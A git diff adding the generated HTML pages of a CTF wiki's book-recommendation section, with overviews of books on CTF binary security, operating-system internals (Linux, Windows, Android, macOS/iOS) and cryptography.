diff --git a/.nojekyll b/.nojekyll new file mode 100644 index 000000000..e69de29bb diff --git a/404.html b/404.html new file mode 100644 index 000000000..5af28d32c --- /dev/null +++ b/404.html @@ -0,0 +1,7984 @@ + + + + + + + + + + + + + + + + + + + + + COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ +

404 - Not found

+ +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/CTF Competition Starter Guide/index.html b/Book/CTF Competition Starter Guide/index.html new file mode 100644 index 000000000..cc4656145 --- /dev/null +++ b/Book/CTF Competition Starter Guide/index.html @@ -0,0 +1,8093 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + CTF Competition Starter Guide - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

CTF Competition Starter Guide

+

Highly recommended! A beginner's guide!

+

This book is mainly for CTF beginners, focusing on Linux binary security. The book contains 12 chapters, starting from the bottom of the binary, combined with the source code detailed analysis of common binary security vulnerabilities, mitigation mechanisms and vulnerability exploitation methods, and supplemented with analysis tools and environment building explanation, step by step, so that readers can learn systematically. The book is more continuous and complete in the selection of content and materials, each knowledge point with classic examples, and spend a lot of space to explain, in order to restore the maximum extent of the analysis of ideas and solution process, to achieve the effect of the three.

+

ctf

+ +

Read it online: https://firmianay.gitbooks.io/ctf-all-in-one/content/

+

GitHub address: https://github.com/firmianay/CTF-All-In-One

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Computer and System/Android Dalvik virtual machine structure and mechanism anatomy/index.html b/Book/Computer and System/Android Dalvik virtual machine structure and mechanism anatomy/index.html new file mode 100644 index 000000000..b95a52356 --- /dev/null +++ b/Book/Computer and System/Android Dalvik virtual machine structure and mechanism anatomy/index.html @@ -0,0 +1,8112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Android Dalvik virtual machine structure and mechanism analysis - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Android Dalvik virtual machine structure and mechanism analysis

+

Author: Wu Yanxia / Zhang Guoyin

+

Overview

+

This book is a scenario-based in-depth analysis of Android source code, with extensive contents, mainly from the overall structure of Dalvik virtual machine, obtaining and compiling the source code of Dalvik virtual machine, using source code analysis aids, parsing .dex files and Dalvik bytecode format, introducing the system tools under Dalvik virtual machine and executing Dalvik virtual machine. This article is intended to help readers understand the architecture of the Dalvik VM from a macro perspective, and to provide readers interested in reading the source code of the Dalvik VM with the necessary introductory guidance.

+

Cover

+

Android Dalvik虚拟机结构及机制剖析

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Computer and System/Android Internals/index.html b/Book/Computer and System/Android Internals/index.html new file mode 100644 index 000000000..dae0cd4d2 --- /dev/null +++ b/Book/Computer and System/Android Internals/index.html @@ -0,0 +1,8112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Android Internals: Power User's View - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Android Internals: Power User's View

+

Author: Jonathan Levin (Author)

+

Overview

+

Android Internals::A Confectioner's Cookbook is the first time the inner workings of the world's most popular operating system have been documented! Without going into the lengthy code, it presents the logic and flow of Android's various components using detailed illustrations, verbose annotations and hands-on experiments! Volume I takes the power user's point of view - the utilities and functionality accessible through adb shell. In particular, we explore: Partitions and Filesystems The Boot Process Init and its configuration files The native daemons in /system/bin The framework service architecture and servicemanager, Monitoring through Linux interfaces, and of course Security. All versions of Android - up to and including the upcoming Nougat - are covered, with examples taken from the wide gamut of Android Devices - Nexi, Samsung Galaxy S series, NVidia Shield, Amazon Kindle, HTC One M9, and the Android Emulator. This is the first in a multi-volume series, aiming to explore Android down to its last class. Stay tuned for Volume II - The Programmer's View - which picks up where the Power User's View ends, and dives deeper still into the frameworks, input, audio, video and network architecture... wading through the inevitable quagmire of code.

+

Cover

+

Android Internals

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Computer and System/Android system source code scenario analysis/index.html b/Book/Computer and System/Android system source code scenario analysis/index.html new file mode 100644 index 000000000..f75282815 --- /dev/null +++ b/Book/Computer and System/Android system source code scenario analysis/index.html @@ -0,0 +1,8114 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Android System Source Code Scenario Analysis - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Android System Source Code Scenario Analysis

+

Author: Luo Shengyang

+

Overview

+

In terms of content, this book provides a comprehensive, in-depth and detailed analysis of the Android system source code, including the Linux kernel layer, hardware abstraction layer (HAL), runtime library layer (Runtime), application framework layer (Application Framework) and application layer (Application).

+

In terms of organization, this book divides the above contents into three major chapters, namely, the first acquaintance with Android system, Android-specific driver system and Android application framework. The chapter of Android system introduces reference books, basic knowledge and experimental environment construction; the chapter of Android special driver system introduces Logger log driver, Binder inter-process communication driver and Ashmem anonymous shared memory driver; the chapter of Android application framework introduces the framework of Android application in four dimensions: component, process, message and installation. The Android application framework chapter provides an in-depth analysis of the framework of Android applications in four dimensions: components, processes, messages and installation.

+

Through the above contents and their organization, this book enables readers to grasp the hierarchy of Android system as a whole and master the key points of each level in detail.

+

Cover

+

Android系统源代码情景分析

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Computer and System/Code Reveal/index.html b/Book/Computer and System/Code Reveal/index.html new file mode 100644 index 000000000..1d920c7c6 --- /dev/null +++ b/Book/Computer and System/Code Reveal/index.html @@ -0,0 +1,8112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Code Reveal - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Code Reveal

+

Author: Zuo Fei

+

Overview

+

This book is written from the programming point of view, using C/C++ as the descriptive language and Visual C++ as the formal tool, to explain the mechanisms and knowledge about computer composition principles and computer operating systems hidden behind the code, not only to let the reader know the facts, but also to let the reader know the reasons. This knowledge is then applied to programming practice to help readers write high-quality code that is more suitable for machine optimization. Uncovering the little-known secrets behind the code, specifically, the book discusses a variety of topics including the underlying computer coding, memory and pointers, computer instructions and code systems, the mechanism of function calls, multi-level storage systems, the concept of threads and processes, and code optimization.

+

Cover

+

代码揭秘

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Computer and System/Code/index.html b/Book/Computer and System/Code/index.html new file mode 100644 index 000000000..25e250795 --- /dev/null +++ b/Book/Computer and System/Code/index.html @@ -0,0 +1,8113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Code: The Hidden Language of Computer Hardware and Software - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Code: The Hidden Language of Computer Hardware and Software

+

Author: Charles Petzold

+

Content

+

Petzold begins Code by discussing older technologies like Morse code, Braille, and Boolean logic, which he uses to explain vacuum tubes, transistors, and integrated circuits. He noted that "very smart people" had to go down the "dead ends" of mechanical computers and decimal computing before reaching a scalable solution—namely, the electronic, binary computer with a von Neumann architecture. The book also covers more recent developments, including topics like floating point math, operating systems, and ASCII.

+

The book focuses on "pre-networked computers" and does not cover concepts like distributed computing because Petzold thought that it would not be as useful for "most people using the Internet", his intended audience. Specifically, he said in an interview that his "main hope" in writing Code was to impart upon his readers a "really good feeling for what a bit is, and how bits are combined to convey information".

+

Cover

+

cover

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Computer and System/Computer Systems/index.html b/Book/Computer and System/Computer Systems/index.html new file mode 100644 index 000000000..32573b5c6 --- /dev/null +++ b/Book/Computer and System/Computer Systems/index.html @@ -0,0 +1,8124 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Computer Systems: A Programmer's Perspective - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Computer Systems: A Programmer's Perspective

+

Author: Randal Bryant (Author), David O'Hallaron (Author)

+

Overview

+

This book (CS:APP3e) is the third edition of a book that stems from the introductory computer systems course we developed at Carnegie Mellon University, starting in the Fall of 1998, called "Introduction to Computer Systems" (ICS). The presentation is based on the following principles, which aim to help the students become better programmers and to help prepare them for upper-level systems courses:

+
    +
  • +

    Students should be introduced to computer systems from the perspective of a programmer, rather from the more traditional perspective of a system implementer. What does this mean?

    +
  • +
  • +

    Students should get a view of the complete system, comprising the hardware, operating system, compiler, and network.

    +
  • +
  • +

    Students learn best by developing and evaluating real programs that run on real machines.

    +
  • +
+

We cover data representations, machine level representations of C programs, processor architecture, program optimizations, the memory hierarchy, linking, exceptional control flow (exceptions, interrupts, processes, and Unix signals), virtual memory and memory management, system-level I/O, basic network programming, and concurrent programming. These concepts are supported by series of fun and hands-on lab assignments. See the manuscript Preface for more details.

+

Cover

+

Computer Systems

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Computer and System/In-depth understanding of Android kernel design ideas/index.html b/Book/Computer and System/In-depth understanding of Android kernel design ideas/index.html new file mode 100644 index 000000000..eff00fecc --- /dev/null +++ b/Book/Computer and System/In-depth understanding of Android kernel design ideas/index.html @@ -0,0 +1,8113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + In-depth understanding of Android kernel design ideas - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

In-depth understanding of Android kernel design ideas

+

Author: Lin Xuesen

+

Overview

+

In-depth Understanding of Android Kernel Design Ideas" is suitable for Android 4.3 or above. The book starts from the basics of operating system, and comprehensively analyzes the implementation principle of core technologies in Android, such as process/thread, memory management, Binder mechanism, GUI display system, multimedia management, input system and so on. Most of the knowledge points in the book come from engineering project development, so it has strong practicality, and we hope to let readers "know what they know, but also know what they know". The book is divided into 4 chapters and 22 chapters, including compilation, system principle, application principle and system tools, which basically cover the knowledge required to participate in Android development, and guide readers through a large number of pictures and examples, in order to provide readers with a more understandable way of thinking outside the source code analysis as much as possible.

+

In-depth Understanding of Android Kernel Design Ideas is suitable for both Android system engineers and application development engineers to read and improve Android development ability. Readers can gain a deeper understanding of the Android system during the subtle learning process of "In-depth Understanding of Android Kernel Design Ideas", and apply the knowledge learned naturally to solve practical development problems.

+

Cover

+

深入理解Android内核设计思想

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Computer and System/Linux Kernel Development/index.html b/Book/Computer and System/Linux Kernel Development/index.html new file mode 100644 index 000000000..9b18f236b --- /dev/null +++ b/Book/Computer and System/Linux Kernel Development/index.html @@ -0,0 +1,8123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Linux Kernel Development - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Linux Kernel Development

+

Author: Robert Love (Author)

+

Book description

+

Linux Kernel Development details the design and implementation of the Linux kernel, presenting the content in a manner that is beneficial to those writing and developing kernel code, as well as to programmers seeking to better understand the operating system and become more efficient and productive in their coding.

+

The book details the major subsystems and features of the Linux kernel, including its design, implementation, and interfaces. It covers the Linux kernel with both a practical and theoretical eye, which should appeal to readers with a variety of interests and needs.

+

The author, a core kernel developer, shares valuable knowledge and experience on the 2.6 Linux kernel. Specific topics covered include process management, scheduling, time management and timers, the system call interface, memory addressing, memory management, the page cache, the VFS, kernel synchronization, portability concerns, and debugging techniques. This book covers the most interesting features of the Linux 2.6 kernel, including the CFS scheduler, preemptive kernel, block I/O layer, and I/O schedulers.

+

The third edition of Linux Kernel Development includes new and updated material throughout the book:

+
    +
  • An all-new chapter on kernel data structures
  • +
  • Details on interrupt handlers and bottom halves
  • +
  • Extended coverage of virtual memory and memory allocation
  • +
  • Tips on debugging the Linux kernel
  • +
  • In-depth coverage of kernel synchronization and locking
  • +
  • Useful insight into submitting kernel patches and working with the Linux kernel community
  • +
+

Cover

+

Linux Kernel Development

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Computer and System/Mac OS X and iOS Internals/index.html b/Book/Computer and System/Mac OS X and iOS Internals/index.html new file mode 100644 index 000000000..06ceaa3eb --- /dev/null +++ b/Book/Computer and System/Mac OS X and iOS Internals/index.html @@ -0,0 +1,8122 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Mac OS X and iOS Internals: To the Apple’s Core - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Mac OS X and iOS Internals: To the Apple’s Core

+

Author: Jonathan Levin (Author)

+

Overview

+

Powering Macs, iPhones, iPads and more, OS X and iOS are becoming ubiquitous. When it comes to documentation, however, much of them are shrouded in mystery. Cocoa and Carbon, the application frameworks, are neatly described, but system programmers find the rest lacking. This indispensable guide illuminates the darkest corners of those systems, starting with an architectural overview, then drilling all the way to the core.

+
    +
  • Provides you with a top down view of OS X and iOS
  • +
  • Walks you through the phases of system startup—both Mac (EFi) and mobile (iBoot)
  • +
  • Explains how processes, threads, virtual memory, and filesystems are maintained
  • +
  • Covers the security architecture
  • +
  • Reviews the internal Apis used by the system—BSD and Mach
  • +
  • Dissects the kernel, XNU, into its sub components: Mach, the BSD Layer, and I/o kit, and explains each in detail
  • +
  • Explains the inner workings of device drivers
  • +
+

From architecture to implementation, this book is essential reading if you want to get serious about the internal workings of Mac OS X and iOS.

+

Cover

+

Mac OS X and iOS Internals

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Computer and System/Understanding the Linux Kernel/index.html b/Book/Computer and System/Understanding the Linux Kernel/index.html new file mode 100644 index 000000000..2d9c6e0ab --- /dev/null +++ b/Book/Computer and System/Understanding the Linux Kernel/index.html @@ -0,0 +1,8125 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Understanding the Linux Kernel - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Understanding the Linux Kernel

+

Author: Daniel P. Bovet (Author), Marco Cesati (Author)

+

Overview

+

In order to thoroughly understand what makes Linux tick and why it works so well on a wide variety of systems, you need to delve deep into the heart of the kernel. The kernel handles all interactions between the CPU and the external world, and determines which programs will share processor time, in what order. It manages limited memory so well that hundreds of processes can share the system efficiently, and expertly organizes data transfers so that the CPU isn't kept waiting any longer than necessary for the relatively slow disks.

+

The third edition of Understanding the Linux Kernel takes you on a guided tour of the most significant data structures, algorithms, and programming tricks used in the kernel. Probing beyond superficial features, the authors offer valuable insights to people who want to know how things really work inside their machine. Important Intel-specific features are discussed. Relevant segments of code are dissected line by line. But the book covers more than just the functioning of the code; it explains the theoretical underpinnings of why Linux does things the way it does.

+

This edition of the book covers Version 2.6, which has seen significant changes to nearly every kernel subsystem, particularly in the areas of memory management and block devices. The book focuses on the following topics:

+
    +
  • Memory management, including file buffering, process swapping, and Direct memory Access (DMA)
  • +
  • The Virtual Filesystem layer and the Second and Third Extended Filesystems
  • +
  • Process creation and scheduling
  • +
  • Signals, interrupts, and the essential interfaces to device drivers
  • +
  • Timing
  • +
  • Synchronization within the kernel
  • +
  • Interprocess Communication (IPC)
  • +
  • Program execution
  • +
+

Understanding the Linux Kernel will acquaint you with all the inner workings of Linux, but it's more than just an academic exercise. You'll learn what conditions bring out Linux's best performance, and you'll see how it meets the challenge of providing good system response during process scheduling, file access, and memory management in a wide variety of environments. This book will help you make the most of your Linux system.

+

Cover

+

Understanding the Linux Kernel

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Computer and System/Windows Internals/index.html b/Book/Computer and System/Windows Internals/index.html new file mode 100644 index 000000000..ee7170cbd --- /dev/null +++ b/Book/Computer and System/Windows Internals/index.html @@ -0,0 +1,8163 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Windows Internals - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Windows Internals

+

Author: Pavel Yosifovich (Author), Mark Russinovich (Author), David Solomon (Author), Alex Ionescu (Author)

+

Overview

+

This book helps you:

+
    +
  • Understand the Windows system architecture and its general components
  • +
  • Explore internal data structures using tools like the kernel debugger
  • +
  • Understand how Windows uses processes for management and isolation
  • +
  • Understand and view thread scheduling and how CPU resources are managed
  • +
  • Dig into the Windows security model including recent advances in security mitigations
  • +
  • Understand how Windows manages virtual and physical memory
  • +
  • Understand how the I/O system manages physical devices and device drivers
  • +
+

The 7th edition was written by Pavel Yosifovich, Alex Ionescu, Mark Russinovich and David Solomon. New material has been added since the 6th edition (which covered Windows 7 and Windows Server 2008 R2). Since the 7th edition’s part 2 is not yet available, the Windows Internals 6th edition (written by Mark Russinovich, David Solomon and Alex Ionescu) is an invaluable resource on missing topics from the first part of the 7th edition. These include system mechanisms, management mechanisms, networking, file systems, cache management and troubleshooting system crashes.

+

History of the Book

+

This is the seventh edition of a book that was originally called Inside Windows NT (Microsoft Press, 1992), written by Helen Custer (prior to the initial release of Microsoft Windows NT 3.1). Inside Windows NT was the first book ever published about Windows NT and provided key insights into the architecture and design of the system. Inside Windows NT, Second Edition (Microsoft Press, 1998) was written by David Solomon. It updated the original book to cover Windows NT 4.0 and had a greatly increased level of technical depth. Inside Windows 2000, Third Edition (Microsoft Press, 2000) was authored by David Solomon and Mark Russinovich. It added many new topics, such as startup and shutdown, service internals, registry internals, file-system drivers, and networking. It also covered kernel changes in Windows 2000, such as the Windows Driver Model (WDM), Plug and Play, power management, Windows Management Instrumentation (WMI), encryption, the job object, and Terminal Services. Windows Internals, Fourth Edition was the Windows XP and Windows Server 2003 update and added more content focused on helping IT professionals make use of their knowledge of Windows internals, such as using key tools from Windows Sysinternals and analyzing crash dumps.

+

Windows Internals, Fifth Edition was the update for Windows Vista and Windows Server 2008. It saw Mark Russinovich move on to a full-time job at Microsoft (where he is now the Azure CTO) and the addition of a new co-author, Alex Ionescu. New content included the image loader, user-mode debugging facility, Advanced Local Procedure Call (ALPC), and Hyper-V. The next release, Windows Internals, Sixth Edition, was fully updated to address the many kernel changes in Windows 7 and Windows Server 2008 R2, with many new hands-on experiments to reflect changes in the tools as well.

+

Seventh Edition Changes

+

Since this series’ last update, Windows has gone through several releases, coming up to Windows 10 and Windows Server 2016. Windows 10 itself, being the current going-forward name for Windows, has had several releases since its initial Release-to-Manufacturing, or RTM, each labeled with a 4-digit version number indicating year and month of release, such as Windows 10, version 1703 that was completed in March 2017. The above implies that Windows has gone through at least 6 versions since Windows 7. Starting with Windows 8, Microsoft began a process of OS convergence, which is beneficial from a development perspective as well as for the Windows engineering team itself. Windows 8 and Windows Phone 8 had converged kernels, with modern app convergence arriving in Windows 8.1 and Windows Phone 8.1. The convergence story was complete with Windows 10, which runs on desktops/laptops, servers, XBOX One, phones (Windows Mobile 10), HoloLens, and various Internet of Things (IoT) devices. With this grand unification completed, the time was right for a new edition of the series, which could now finally catch up with almost half a decade of changes, in what will now be a more stabilized kernel architecture going forward. As such, this latest book covers aspects of Windows from Windows 8 to Windows 10, version 1703. Additionally, this edition welcomes Pavel Yosifovich as its new co-author.

+

Cover

+

Windows Internals

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Cryptography/Foundations of Cryptography/index.html b/Book/Cryptography/Foundations of Cryptography/index.html new file mode 100644 index 000000000..aff98e964 --- /dev/null +++ b/Book/Cryptography/Foundations of Cryptography/index.html @@ -0,0 +1,8112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Foundations of Cryptography - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Foundations of Cryptography

+

Author: Oded Goldreich (Author)

+

Introduction

+

Cryptography is concerned with the conceptualization, definition and construction of computing systems that address security concerns. This book presents a rigorous and systematic treatment of the foundational issues: defining cryptographic tasks and solving new cryptographic problems using existing tools. It focuses on the basic mathematical tools: computational difficulty (one-way functions), pseudo randomness and zero-knowledge proofs. Rather than describing ad-hoc approaches, this book emphasizes the clarification of fundamental concepts and the demonstration of the feasibility of solving cryptographic problems. It is suitable for use in a graduate course on cryptography and as a reference book for experts.

+

Cover

+

cover

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Cryptography/Graphical cryptography/index.html b/Book/Cryptography/Graphical cryptography/index.html new file mode 100644 index 000000000..e5ed36df6 --- /dev/null +++ b/Book/Cryptography/Graphical cryptography/index.html @@ -0,0 +1,8113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Graphical cryptography - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Graphical cryptography

+

Author: [Japanese] Hiroshi Yuki

+

Introduction

+

This book explains in detail the six most important cryptographic techniques: symmetric ciphers, public key ciphers, one-way hash functions, message authentication codes, digital signatures, and pseudo-random number generators, in the form of diagrams with text.

+

Part 1 describes the history of cryptography, symmetric ciphers, grouped cipher patterns (including ECB, CBC, CFB, OFB, CTR), public keys, and hybrid cryptosystems. Part 2 focuses on authentication aspects, covering one-way hash functions, message authentication codes, digital signatures, certificates, etc. Part 3 talks about keys, random numbers, PGP, SSL/TLS, and real-life applications of cryptography.

+

Cover

+

cover

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Cryptography/Introduction to Modern Cryptography/index.html b/Book/Cryptography/Introduction to Modern Cryptography/index.html new file mode 100644 index 000000000..19cacaafe --- /dev/null +++ b/Book/Cryptography/Introduction to Modern Cryptography/index.html @@ -0,0 +1,8114 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Introduction to Modern Cryptography: Principles and Protocols - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Introduction to Modern Cryptography: Principles and Protocols

+

Author: Jonathan Katz (Author), Yehuda Lindell (Author)

+

Introduction

+

Cryptography plays a key role in ensuring the privacy and integrity of data and the security of computer networks. Introduction to Modern Cryptography provides a rigorous yet accessible treatment of modern cryptography, with a focus on formal definitions, precise assumptions, and rigorous proofs.

+

The authors introduce the core principles of modern cryptography, including the modern, computational approach to security that overcomes the limitations of perfect secrecy. An extensive treatment of private-key encryption and message authentication follows. The authors also illustrate design principles for block ciphers, such as the Data Encryption Standard (DES) and the Advanced Encryption Standard (AES), and present provably secure constructions of block ciphers from lower-level primitives. The second half of the book focuses on public-key cryptography, beginning with a self-contained introduction to the number theory needed to understand the RSA, Diffie-Hellman, El Gamal, and other cryptosystems. After exploring public-key encryption and digital signatures, the book concludes with a discussion of the random oracle model and its applications.

+

Serving as a textbook, a reference, or for self-study, Introduction to Modern Cryptography presents the necessary tools to fully understand this fascinating subject.

+

Cover

+

cover

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Cryptography/Understanding Cryptography/index.html b/Book/Cryptography/Understanding Cryptography/index.html new file mode 100644 index 000000000..73642cc18 --- /dev/null +++ b/Book/Cryptography/Understanding Cryptography/index.html @@ -0,0 +1,8114 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Understanding Cryptography: A Textbook for Students and Practitioners - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Understanding Cryptography: A Textbook for Students and Practitioners

+

Author: Christof Paar (Author), Jan Pelzl (Author), Bart Preneel (Foreword)

+

Introduction

+

Cryptography is now ubiquitous – moving beyond the traditional environments, such as government communications and banking systems, we see cryptographic techniques realized in Web browsers, e-mail programs, cell phones, manufacturing systems, embedded software, smart buildings, cars, and even medical implants. Today's designers need a comprehensive understanding of applied cryptography.

+

After an introduction to cryptography and data security, the authors explain the main techniques in modern cryptography, with chapters addressing stream ciphers, the Data Encryption Standard (DES) and 3DES, the Advanced Encryption Standard (AES), block ciphers, the RSA cryptosystem, public-key cryptosystems based on the discrete logarithm problem, elliptic-curve cryptography (ECC), digital signatures, hash functions, Message Authentication Codes (MACs), and methods for key establishment, including certificates and public-key infrastructure (PKI). Throughout the book, the authors focus on communicating the essentials and keeping the mathematics to a minimum, and they move quickly from explaining the foundations to describing practical implementations, including recent topics such as lightweight ciphers for RFIDs and mobile devices, and current key-length recommendations.

+

